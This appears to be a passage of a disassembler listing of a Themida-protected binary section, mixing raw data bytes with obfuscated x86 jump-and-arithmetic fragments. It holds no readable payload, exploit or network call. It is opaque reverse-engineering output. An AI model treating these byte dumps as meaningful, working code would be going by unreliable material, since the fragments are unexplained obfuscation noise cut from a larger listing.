		db 81h,	0E9h, 35h
		dd 293B55E9h, 0FDE959CAh, 0C100005Dh, 0D2F708E2h, 33CDE9h
		dd 0EF814F00h, 0FD77BFBBh, 335FF801h, 4312404h,	24043324h
		dd 4008E9h, 2E1C000h, 801FC980h, 0E1C03DC9h, 80D9F605h
		dd 0CF206CF1h, 0E9D7F659h, 0FFFFF6D9h, 47E46858h, 14890000h
		dd 2474FF24h, 48F5A04h,	24248B24h, 240C8B66h, 1ADB68h
		dd 24048900h, 4EC81h, 24890000h, 24048124h, 4, 0FFC9F8E9h
		dd 0C6835EFFh, 0E0F68101h, 0E9B353CDh, 2FAAh, 0C303E952h
		dd 0F2810000h, 11AD5841h, 91E2E9h
		db 0
byte_595DC1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0058E264o
aHJ		db '$hÒJ',0
		align 2
		dw 1C89h
		dd 0E6895624h, 0FFC46AE9h, 0C5815DFFh, 4, 0FFA8A5E9h, 0BD5558FFh
		dd 2C4913D0h, 794C581h,	0FBE96F6Dh, 80000099h, 0F728F2C7h
		dd 0E9F2EF80h, 3CE6h, 0BF243C89h, 2, 4D09EE81h,	76E92C9Bh
		dd 56000045h, 6BE9E689h, 5BFFFF8Fh, 6EC4E9h, 49896800h
		dd 24890000h, 24048324h, 0E685A04h, 89000046h, 62BB241Ch
		dd 0E905FF7Bh, 0FFFFF778h, 0C7814F59h, 0FFFFFFFFh, 17D3C781h
		dd 0F821201Ah, 8B2434FFh, 0CFE9243Ch, 68FFFFC2h, 441634ACh
		dd 0C738E95Bh, 0B151FFFFh, 0BF1EE99Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595E6E:				; CODE XREF: Themida_:0059E8E2j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_597A6A
; ---------------------------------------------------------------------------
		db 80h
		dd 88511EC7h, 1539E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595E8A:				; CODE XREF: Themida_:005A0009j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5919FD
; ---------------------------------------------------------------------------


loc_595E98:				; CODE XREF: Themida_:0059FDE4j
		mov	[esp], bx
		jmp	loc_595ADC
; ---------------------------------------------------------------------------
		db 1, 0D8h, 2Dh
		dd 13290CD3h, 4C02E952h, 0C2810000h, 0FFFFFFFFh, 6384E9h
		dd 68555900h, 6629h, 0E9241489h, 0FFFF8D44h, 8244481h
		dd 7676107Fh, 8247429h,	8246C81h, 7676107Fh, 8244481h
		dd 35DB0E59h, 245C015Eh, 0BBE5604h, 8162115Ah, 0CC082444h
		dd 133346Ah, 81082474h,	0CC08246Ch, 8B33346Ah, 0C4812434h
		dd 4, 0C7A1E9h,	81C10100h, 0B36A1C1h, 2434FF6Ah, 47C5E958h
		dd 50660000h, 0FFEF1FE9h, 4EA81FFh, 2D7555A1h, 71E340A2h
		dd 0A205D029h, 5A71E340h, 3AB4BA52h, 814A694Bh,	9AEEC6EAh
		dd 5AD7290Ch, 421AEF81h, 0C7011630h, 421AC781h,	3BE91630h
		dd 81000006h, 4ECh, 24048900h, 5BFEE9h,	40500h,	0C0830000h
		dd 24048704h, 0BA525Ch,	1000000h, 0B850C2h, 1000000h, 9DA3E9D0h
		dd 0F7470000h, 0E78147DFh, 467C5FCAh, 0E9FFC783h, 3E63h
		dd 815DEA21h, 0DA6D90F2h, 8BD50123h, 5CE92414h,	1000039h
		dd 0CFD2E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_595FBA:				; CODE XREF: Themida_:005A002Bj
		push	ecx
		jmp	loc_59FDE9
; ---------------------------------------------------------------------------
		dd 9800C681h, 0C4E9FFECh, 1000015h, 243C8BFAh, 104C483h
		dd 0BCBCE9CAh, 0F7450000h, 81D5F7D5h, 8ED50EC5h, 0F685640h
		dd 5E75A605h, 64E2E681h, 51460EDBh, 557ECFB9h, 81D1F739h
		dd 0F43976C1h, 0CEE98179h, 8104C80Bh, 263B29E1h, 2B5BE934h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5954CE
; ---------------------------------------------------------------------------
word_59601A	dw 6664h		; DATA XREF: Themida_:0058E25Co
		dd 8951028Bh, 4C181E1h,	68000000h, 768Dh, 55243489h, 98298ABDh
		dd 88ED812Eh, 892E9829h, 0F1295DEEh, 6824348Bh,	3DE0h
		dd 0A209E9h, 243C8900h,	4EC81h,	14890000h, 4BA24h, 0D7890000h
		dd 8124148Bh, 4C4h, 0BCBA5200h,	17C564Dh, 0F8015AD0h, 564DBC2Dh
		dd 2055F7Ch, 33000000h,	4312404h, 0B8A1E924h, 0C980FFFFh
		dd 1C180F9h, 809BB753h,	0C3E99AEFh
		db 0B3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_59609B:				; CODE XREF: Themida_:0059F08Fj
		push	50A4h
		mov	[esp], ebp
		mov	ebp, 5EEC340Dh
		xor	ebp, 1CB34AA0h
		jmp	loc_59386F
; ---------------------------------------------------------------------------
		db 5
		dd 4, 0FFF96FE9h, 0CCF781FFh, 1679B6Dh,	0C56EE9F9h, 0E95D0000h
		dd 0B4A8h
; ---------------------------------------------------------------------------


loc_5960D0:				; CODE XREF: Themida_:0059A156j
		mov	ebx, [esp]
		push	ebp
		jmp	loc_5A194C
; ---------------------------------------------------------------------------
		db 5Eh,	52h, 0FFh
		dd 5A042474h, 0FF8CDCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5960E5:				; CODE XREF: Themida_:0059C453j
		sub	bl, 7Ch
		jmp	loc_58FEE5
; ---------------------------------------------------------------------------


loc_5960ED:				; CODE XREF: Themida_:0059D9A9j
		or	eax, 75F26021h
		add	eax, 70AF67E4h
		jmp	loc_59D422
; ---------------------------------------------------------------------------
		dd 55BD801h, 2,	8B240487h, 52512424h, 0EEC0E8B6h, 5E6C007h
		dd 0A6F3E9h, 0C4835C00h, 4BB5304h, 1000000h, 0BA525BD8h
		dd 112721FEh, 0CA81D2F7h, 3911ED4h, 500CEA81h, 0DEE9362Ch
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59613F:				; CODE XREF: Themida_:005928FBj
		pop	esp
		push	edi
		jmp	loc_596C0E
; ---------------------------------------------------------------------------
		dw 72BBh
		dd 0C104A20Dh, 0F38703E3h, 0F387D6F7h, 0D04FE9h
		db 0
; ---------------------------------------------------------------------------


loc_596159:				; CODE XREF: Themida_:0059DA99j
		mov	[esp], edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		mov	ebx, 18434EDDh
		mov	ebp, 5199B23Bh
		add	ebp, ebx
		pop	ebx
		push	ebx
		push	ecx
		mov	ecx, 12706A48h
		add	ecx, 0FFFFFFFFh
		jmp	loc_599030
; ---------------------------------------------------------------------------


loc_59618F:				; CODE XREF: Themida_:005A0ACEj
		mov	esi, [esp]
		jmp	loc_591ED0
; ---------------------------------------------------------------------------


loc_596197:				; CODE XREF: Themida_:00599067j
		neg	ebp
		add	ebp, 45633F79h
		jmp	loc_5980D4
; ---------------------------------------------------------------------------
		dd 2D59C801h, 32284F15h, 4F0F68h, 24148900h, 5473E9h, 242C8B00h
		dd 0FFCD1BE9h, 4C483FFh, 0C4096F2Dh, 0E9C201B8h, 0CA5Fh
		dd 24048B54h, 5104C483h, 1D39A0B9h, 64C18169h, 196E2C6h
		dd 2434FFC8h, 0FF8708E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5961ED:				; CODE XREF: Themida_:0059088Bj
		mov	edx, 4
		add	ebp, edx
		jmp	loc_59D458
; ---------------------------------------------------------------------------
		db 0F7h, 0F9h, 68h
		dd 2044h, 534BE9h, 0DC685B00h, 89000021h, 58542404h, 981E9h
		dd 56396800h, 3C890000h, 0EE5AE924h, 0B368FFFFh, 8900005Bh
		dd 8AE9242Ch, 89000086h, 7CE9240Ch, 0BF00007Dh,	0A8F29395h
		dd 0E95FFE29h, 0FFFF9AC4h
dword_596244	dd 240C8B66h, 385DE9h, 24348700h, 0A56CE95Fh, 0D7BB0000h
					; DATA XREF: Themida_:0058E1D8o
		dd 810BDC00h, 0FB1D8CE3h, 95FDE935h, 4890000h, 2B824h
		dd 0C1810000h, 3B680581h, 2FF7C181h, 0C1015D75h, 2FF7E981h
		dd 0E9815D75h, 3B680581h, 240C8758h, 0A502E9h, 13B55100h
		dd 6F8DE9h, 0F5815D00h,	8F0D8251h, 0C901E9h, 0FC33000h
		dd 8B66C0B6h, 0E9522414h, 38Ah
; ---------------------------------------------------------------------------


loc_5962B4:				; CODE XREF: Themida_:005A0DD7j
		push	edx
		jmp	loc_5A08E6
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 65C2E9h, 24248B00h, 0FFF659E9h, 8081E9FFh, 1C89FFFFh
		dd 555B5424h, 0C7ADE9h,	30886800h, 24890000h, 51936824h
		dd 34890000h, 0B520E924h, 5056FFFFh, 0D27BB4B8h, 24442937h
		dd 515D5804h, 2B109AB9h, 0F848E90Bh, 575AFFFFh,	36E9BE56h
		dd 1AE95FF5h, 0BA000063h, 465822F2h, 0FF8B50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596321:				; CODE XREF: Themida_:0059BBA9j
		add	esi, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	eax
		mov	eax, 4
		push	41F4h
		jmp	loc_5929E9
; ---------------------------------------------------------------------------
		db 68h,	4, 0
		dd 15D0000h, 6B685DE8h,	89000045h, 0EC83240Ch, 0D3EBE904h
		dd 0FA68FFFFh, 89000077h, 1B68241Ch, 89000055h,	0A2E9243Ch
		dd 51FFFFF8h, 0EB88CAB5h, 81240C8Bh, 4C4h, 0FFC38000h
		dd 0C386EBD0h, 0C386D0F6h, 0F637F380h, 0F4EB80D3h, 0C8E9D828h
		dd 8BFFFFBCh
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_591D88
; ---------------------------------------------------------------------------
		dd 0C181F929h, 55135673h, 755CE981h, 835F64A0h,	3C8904ECh
		dd 692DE924h, 0EB810000h, 45D670CCh, 0A4E9F301h, 0C100001Dh
		dd 6CE908E7h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5963EB:				; CODE XREF: Themida_:0059E75Fj
		push	eax
		mov	eax, 0B9FC3A88h
		sub	edx, eax
		pop	eax
		jmp	loc_59E247
; ---------------------------------------------------------------------------


loc_5963F9:				; CODE XREF: Themida_:00596BDBj
		pop	eax
		add	edi, 768CC5DCh
		xor	edx, edi
		pop	edi
		push	edx
		pop	edi
		pop	edx
		push	edx
		jmp	loc_594FFE
; ---------------------------------------------------------------------------
		dd 5AD1015Dh, 68BB68h, 240C8900h, 42474FFh, 24048F59h
		dd 48B665Ch, 0B1D4E924h, 1EBBFFFFh
		db 38h,	66h, 45h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, ebx
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		xor	edx, 2BD7614Ah
		jmp	loc_593973
; ---------------------------------------------------------------------------
		dd 24048F58h, 8924248Bh, 0EC83240Ch, 24148904h,	0E9C58851h
		dd 0FFFFA439h, 4EC81h, 3FE90000h, 5A00001Ch, 88FBE9h, 58C32900h
		dd 5D2BEB81h, 0C30124FFh, 5D2BC381h, 0BD5524FFh, 727E4A32h
		dd 8106EDC1h, 0FFFFFFC5h, 20BF57FFh, 0F7733379h, 81DFF7D7h
		dd 6B157AF7h, 0E9FD310Bh, 418h
dword_5964B8	dd 7BE968h, 0A4C3E900h,	0B652FFFFh, 1EE80B5h, 0F6F78853h
					; DATA XREF: Themida_:0058E24Co
		dd 5BFE88D7h, 20E9D6F6h
		db 0F1h, 2 dup(0FFh)
aMs1i		db '¬é1›',0             ; DATA XREF: Themida_:0058E210o
		dd 5EF23100h, 6FBCBF57h, 0FA092E6Fh, 0FDEA815Fh, 1A8C980h
		dd 0C6815AD6h, 340375DEh, 0AF82E953h, 87560000h, 1FE9241Ch
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596507:				; CODE XREF: Themida_:0059A517j
		pop	ebx
		add	eax, 7A16229Fh
		jmp	loc_599396
; ---------------------------------------------------------------------------
		dw 3FBAh
		dd 4231C062h, 0E906EAC1h, 0BBE6h
; ---------------------------------------------------------------------------


loc_596520:				; CODE XREF: Themida_:0058F553j
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		not	edi
		push	edx
		push	edi
		pop	edx
		pop	edi
		push	esi
		jmp	loc_59FC5B
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 6EBC101h, 0CE62F381h, 0DE890B6Dh, 0FFE7F7E9h, 3DE581FFh
		dd 812D162Ch, 0C16138F5h, 5DE801C4h, 48BC701h, 4C48324h
		dd 0CDB7E957h, 0C8BFFFFh, 4C48124h, 0E9000000h,	1E25h
; ---------------------------------------------------------------------------


loc_596574:				; CODE XREF: Themida_:005911ADj
		push	eax
		jmp	loc_58FA14
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C59EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596582:				; CODE XREF: Themida_:0058E5A5j
		push	1ABBh
		mov	[esp], eax
		mov	eax, 44E20A34h
		xor	eax, 2D1D572Bh
		inc	eax
		jmp	loc_59F08C
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 5CB04BEDh, 5624048Bh, 0C681E689h, 4,	8704C683h, 0E95C2434h
		dd 0FFFFC832h, 0B8240489h, 64EC431Dh, 7E8C148h,	3085E9h
		dd 0F3815B00h, 787B30DBh, 0C108EBC1h, 0EB8107EBh, 451Eh
		dd 0AE9D989h, 8100006Ch, 0E7084DC2h, 2434FF5Eh,	4C4815Eh
		dd 1000000h, 85C281DAh,	5B56014Ch, 4BB53h, 0DA010000h
		dd 81241C8Bh, 4C4h, 24148700h, 0FF24248Bh, 81582434h, 4ECh
		dd 24348900h, 0E952E689h, 0FFFFF308h
; ---------------------------------------------------------------------------


loc_596628:				; CODE XREF: Themida_:0059D453j
		add	ebx, esi
		pop	esi
		add	eax, ebx
		pop	ebx
		xor	ebx, eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, edx
		jmp	loc_594A74
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0EA830000h, 24143304h, 33241431h, 248B2414h
		dd 0F3FCE924h, 805AFFFFh, 78E901EBh
		db 0C7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_596663:				; CODE XREF: Themida_:00596DDFj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_593BE6
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 8E9EE9h, 5FFB2900h, 4058E9h, 24BA5200h, 81000000h
		dd 747846C2h, 0E9FA012Bh, 9F5Ch, 89242C89h, 4C581E5h, 83000000h
		dd 20E904ECh, 87FFFFF3h, 0D5E9240Ch, 89FFFFD6h,	4682404h
		dd 0E9000000h, 0C89Ah, 3F1868h,	242C8900h, 21229568h, 0C1455D55h
		dd 0ED8107E5h, 90914AFCh, 0A68EE951h, 3B680000h, 5F4B881Fh
		dd 73EF814Fh, 0E96A8726h, 0FFFFDFE6h, 50C5CF81h, 0BE5650D0h
		dd 42F27D4Bh, 815EF731h, 0CF36EACFh, 0E3B8500Eh, 31D9CC75h
		dd 0F82158C7h, 64FF355Fh, 22056E9Dh, 29F0223Ch,	0D70158C7h
		dd 621CC781h, 34FF1CC1h, 0C4835A24h, 243C3304h,	33243C31h
		dd 0D25C243Ch, 0E99C240Ch, 0FFFF7C17h, 0E950D929h, 655Eh
		dd 1A16B850h, 1EE9246Fh, 83FFFFA3h, 1C8904ECh, 2858BB24h
		dd 0EBC14D64h, 14F38108h, 0E9481562h, 45ADh, 111768h, 0AA9EE900h
		dd 0E568FFFFh, 89000020h, 8F240Ch, 0FF7BD2E9h, 0EB835EFFh
		dd 241C8704h, 240C895Ch, 0C00001B9h, 0CADDE97Dh, 595D0000h
		dd 0E9243C87h, 0FFFFEF85h, 50F8C380h, 0E32050B4h, 0F6CBFE58h
		dd 3DF380D3h, 805BDC20h, 0F480CAC4h, 0A5CC80E6h, 80B4E9h
		dd 84056600h, 7F2D662Dh, 4EC8353h, 66240C89h, 66422EB9h
		dd 6602E1C1h, 1E981h, 77686653h, 525B6627h, 48C4BA66h
		dd 0BEB0E9h, 4C68100h, 81000000h, 4EEh,	0E3F3E900h, 8358FFFFh
		dd 48F04C4h, 24248B24h,	0FF241C89h, 0E9582434h,	0FFFFB2EEh
		dd 0E959CA29h, 0FFFFCE21h, 37BA5259h, 14C1063h,	886AE9D0h
		dd 0D8090000h, 13E2E9h
		db 0
; ---------------------------------------------------------------------------


loc_596831:				; CODE XREF: Themida_:005A1057j
		add	edi, 57DB22AAh
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2FC81F53h
		add	edi, ecx
		mov	ecx, [esp]
		jmp	loc_58E724
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 8B665C24h,	0DD682414h, 8900006Ch, 5F54243Ch
		dd 0FFA923E9h, 5FBB53FFh, 830C216Dh, 0E95201C3h, 0FFFF7E71h
		dd 8124248Bh, 4C3h, 4B95100h, 29000000h, 9DF5E9CBh, 0C2810000h
		dd 72256AB8h, 2F09EA81h, 0EA291E99h, 2F09C281h,	0EA811E99h
		dd 72256AB8h, 83242C8Bh, 34FF04C4h, 0C4815F24h,	4, 0E9241487h
		dd 4410h, 0BD242C89h, 54B61722h, 0E902E5C1h, 5726h, 0D3C5815Fh
		dd 0E9371617h, 0FFFFBFB0h, 771DED81h, 0C58174CAh, 26254E69h
		dd 83240C8Bh, 0FD0104C4h, 1631ED81h, 515F1BAAh,	8C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5968FD:				; CODE XREF: Themida_:005956D0j
		xor	[esp], ebp
		jmp	loc_5A259E
; ---------------------------------------------------------------------------


loc_596905:				; CODE XREF: Themida_:0059A11Aj
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59F6EF
; ---------------------------------------------------------------------------
dword_596920	dd 3DA768h, 242C8900h, 8904EC83h, 6857241Ch, 6FE309ECh
					; DATA XREF: Themida_:0058E0A4o
		dd 1EC7815Fh, 89DAEA51h, 243C8BFBh, 5604C483h, 2C1CF768h
		dd 0CE815E2Eh, 334F77AAh, 0BF57DEF7h, 4E39095Fh, 0EF81D7F7h
		dd 0C5228147h, 895FFE31h, 0ED815EF5h, 67704460h, 38E9DD01h
		dd 80FFFF7Ah, 885360F6h, 5BDC88F3h, 8324148Bh, 0EC8004C4h
		dd 58E7200Ch, 8904EC83h, 7CE92404h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_596993:				; CODE XREF: Themida_:00590222j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_594794
; ---------------------------------------------------------------------------
		dd 801CF180h, 0F9283CC1h, 8B3CE980h, 0C481241Ch, 4, 687CF180h
		dd 3C51h, 0B0240489h, 8BABE91Eh, 2C330000h, 0C7815C24h
		dd 4, 0C8F4E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5969DA:				; CODE XREF: Themida_:0059C8E7j
		sub	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_58E66F
; ---------------------------------------------------------------------------
		db 0B8h
		dd 522D267Ch, 83E9C701h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5969FB:				; CODE XREF: Themida_:00592D48j
		push	54D8h
		jmp	loc_591CFE
; ---------------------------------------------------------------------------
a1Svl		db '1,$éV«',0
		dd 0FFC18000h, 0E904E980h, 6315h, 8904EC83h, 9E682414h
		dd 89000069h, 4832424h,	7BE90424h, 0FE00001Fh, 4EC81C1h
		dd 0E9000000h, 0FFFFDB74h, 0F387D6F7h, 8B241C87h, 0C4832434h
		dd 0AEB85004h, 319D6A07h, 0F18958C6h, 0CD43E95Eh, 2768FFFFh
		dd 0E9000062h, 0FFFF85D2h, 4FE9FE87h, 8100006Ch, 0B50FA5CFh
		dd 54E9536Ah, 0BB000051h, 296D46A6h, 58DC68h, 243C8900h
		dd 8446DBBFh, 5FFB0172h, 5603EBC1h, 0CD0AEBBEh,	67F68146h
		dd 0E96C2505h, 0FFFFC2C5h, 1FCBD55h, 0D3E916BEh, 89000088h
		dd 17E952E1h, 5C00008Dh, 6866D828h, 89666064h, 0B9B22414h
		dd 0D000C904h, 42E9C92Ch, 89FFFFE5h, 4AE9241Ch,	54000018h
		db 5Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_594B5F
; ---------------------------------------------------------------------------
		db 29h,	0D3h, 5Ah
		dd 0AABE5658h, 8166A123h, 9C4402F6h, 5EF3011Dh,	0F3814Bh
		dd 0E99C2D6Ch, 0FFFFE648h
dword_596B08	dd 24048B66h, 4EC81h, 0C890000h, 83E18924h, 1C8904ECh
					; DATA XREF: Themida_:0058E2A8o
		dd 4BB24h, 0BD550000h, 1A510C6Bh, 7105E581h, 0E95028C0h
		dd 0FFFF855Ch
; ---------------------------------------------------------------------------


loc_596B34:				; CODE XREF: Themida_:00594B54j
		xchg	ecx, [esp]
		sub	esp, 4
		jmp	loc_59D592
; ---------------------------------------------------------------------------


loc_596B42:				; CODE XREF: Themida_:00595A27j
		pop	ebp
		jmp	loc_599E86
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 3062h
; ---------------------------------------------------------------------------


loc_596B50:				; CODE XREF: Themida_:0058FED2j
		pop	ecx
		mov	edx, 87AB199Fh
		xor	edx, ebx
		pop	ebx
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 113D29B3h
		add	edi, 546A1E65h
		sub	edi, esi
		jmp	loc_5929F1
; ---------------------------------------------------------------------------
		db 1
		dd 66ED81CDh, 59557474h, 3304C583h, 2C31242Ch, 0FE34E924h
		dd 0EC81FFFFh, 4, 0E9243489h, 0BCCFh, 535DEA01h, 3496BF57h
		dd 0EFC1233Ch, 57F78107h, 81264A5Ch, 0C243CF7h,	0FFFB8926h
		dd 0E95F2434h, 99F4h
; ---------------------------------------------------------------------------


loc_596BC8:				; CODE XREF: Themida_:0058E9C4j
		push	edi
		mov	edi, 1CD66548h
		push	eax
		mov	eax, 6FA40C42h
		sub	eax, 0A31FC77h
		and	edi, eax
		jmp	loc_5963F9
; ---------------------------------------------------------------------------
		dd 72B8EB81h, 0DBF75471h, 19E9D3F7h, 53FFFF99h,	3308E9h
		dd 0E961B300h, 0FFFFEF82h
; ---------------------------------------------------------------------------


loc_596BFC:				; CODE XREF: Themida_:00593A27j
		mov	ebx, esp
		jmp	loc_590529
; ---------------------------------------------------------------------------


loc_596C03:				; CODE XREF: Themida_:005A0E34j
		add	ebx, 53241697h
		jmp	loc_5907BF
; ---------------------------------------------------------------------------


loc_596C0E:				; CODE XREF: Themida_:00596141j
		push	4CE4h
		jmp	loc_59BEC9
; ---------------------------------------------------------------------------


loc_596C18:				; CODE XREF: Themida_:0058FEEBj
		push	5883h
		jmp	loc_592DF5
; ---------------------------------------------------------------------------
		dw 2CE9h
		dd 57FFFF77h, 0C781E789h, 4, 0E904C783h, 0FFFF90EFh, 52E9FD01h
		dd 81000095h, 4ECh, 243C8900h, 9E168h, 241C8900h, 7E31D5BBh
		dd 0C3814302h, 25FB3EEAh, 815B5F53h, 7970BFEFh,	0BD4EE928h
		db 2 dup(0)
word_596C6A	dw 74FFh		; DATA XREF: Themida_:0058E144o
		dd 34FF0424h, 24048B24h, 4EC81h, 14890000h, 81E28924h
		dd 4C2h, 4C28300h, 5C241487h, 0FF8701E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596C91:				; CODE XREF: Themida_:0059A5A3j
		xchg	eax, ebp
		not	eax
		xchg	eax, ebp
		neg	ebp
		jmp	loc_590639
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFDFA7h, 8124248Bh, 4C4h, 4EC8100h, 89000000h
		dd 94BF243Ch, 81427939h, 4ECh, 240C8900h, 49AD6856h, 0E95E0035h
		dd 0FFFFD448h, 29665D66h, 50665AD3h, 243AB866h,	66C32166h
		dd 8124048Bh, 2C4h, 0EB816600h,	0F7661705h, 0C38166DBh
		dd 296612A3h, 9FE95BD9h, 800000A0h, 0F2804FEAh,	0E9D12053h
		dd 0B5EAh, 0D188E288h, 88FC885Ah, 805966CFh, 0F800ABF7h
		dd 0E92434FFh, 3EE9h, 0F0307CBEh, 0A8CE8145h, 0C1737819h
		dd 0E6C103EEh, 0D847E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596D3A:				; CODE XREF: Themida_:005952B0j
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_593E32
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0B4h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_596D4B:				; CODE XREF: Themida_:00597186j
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_5A2C18
; ---------------------------------------------------------------------------
		dw 0E180h
		dd 88E980A1h, 0C8BC828h, 4C48124h, 2C000000h, 89C7E954h
		dd 0C483FFFFh, 2434FF04h, 4C48159h, 30000000h, 443DE9D8h
		dd 0C2680000h, 0E9000035h, 0FFFFE78Ah, 34FFF831h, 0C4835F24h
		dd 66EE6804h, 14890000h, 0BE565724h, 65DD4917h,	3404EBBFh
		dd 5EF701DCh, 0F11DB7BAh, 8BFA312Ch
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_596663
; ---------------------------------------------------------------------------


loc_596DE4:				; CODE XREF: Themida_:0059F6AEj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A093D
; ---------------------------------------------------------------------------
		dd 34FBE281h, 0AAE93D82h, 5A0000BFh, 2007E9h, 24148900h
		dd 4BF3E9h
		db 0
; ---------------------------------------------------------------------------


loc_596E15:				; CODE XREF: Themida_:0059F2CBj
		push	esi
		mov	esi, 22494CEEh
		push	ebp
		mov	ebp, 17E74420h
		shr	ebp, 5
		dec	ebp
		add	ebp, 0FFFFFFFFh
		not	ebp
		push	esi
		mov	esi, 0D855A8B1h
		sub	ebp, esi
		jmp	loc_58EBE7
; ---------------------------------------------------------------------------
		db 83h
		dd 0D93104C4h, 0D931CB31h, 0D987D3F7h, 0B72BE956h, 0BF570000h
		dd 192810CCh, 815FFE31h, 0A06172EEh, 5EF30125h,	34FF5451h
		dd 2434FF24h, 4C48359h,	8104C483h, 4C1h, 4E98300h, 5C240C87h
		dd 68241489h, 72F97B5Bh, 58E9525Ah, 8BFFFFBCh, 85662424h
		dd 0C0E99CC8h, 89FFFF74h, 4BF243Ch, 57000000h, 9CADE9h
		dd 241C8700h, 6624248Bh, 9C240CD3h, 0FF74A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596EB1:				; CODE XREF: Themida_:0059BC06j
		add	edx, 8587B1Dh
		push	eax
		mov	eax, 3F2C12D0h
		push	edi
		push	ecx
		jmp	loc_5901D7
; ---------------------------------------------------------------------------
		dd 232B1305h, 0EC815B72h, 4, 89240489h,	405E0h,	0E8830000h
		dd 24048704h, 2404895Ch, 42474FFh, 24048F58h, 924248Bh
		dd 0E99C2404h, 0FFFF745Bh, 0BB241C89h, 585D5EDFh, 9B34E956h
		dd 8B5DFFFFh, 0C483243Ch, 242C8B04h, 0F304C483h, 386203A5h
		dd 6552E9h
		db 0
; ---------------------------------------------------------------------------


loc_596F1D:				; CODE XREF: Themida_:0059B0BAj
		mov	esi, 455704E6h
		jmp	loc_5996B6
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0FF5C2404h, 148B2434h, 7651E924h
		db 2 dup(0)
word_596F36	dw 34FFh		; DATA XREF: Themida_:0058E1DCo
		dd 2434FF24h, 5FE5E9h, 4EC8300h, 0B2241489h, 4EAFE90Ch
		dd 89530000h, 4C381E3h,	81000000h, 4C3h, 74FF5300h, 0E95B0424h
		dd 0FFFFE943h, 45A0C781h, 0C781758Bh, 74DF5119h, 47EAC781h
		dd 0E9516326h, 0FFFFAE7Bh, 93EA805Bh, 148BD030h, 0A5E95224h
		dd 0B8000097h, 531B6760h, 9CFFE9h, 0B9515600h, 6C3F0C37h
		dd 0FFAFADE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_596FA5:				; CODE XREF: Themida_:00599398j
		sub	eax, 7A16229Fh
		pop	edi
		push	edi
		mov	edi, 4
		add	eax, 64072D1h
		add	eax, edi
		jmp	loc_59EB14
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 0C10418BFh, 8BF80179h, 0AE9243Ch
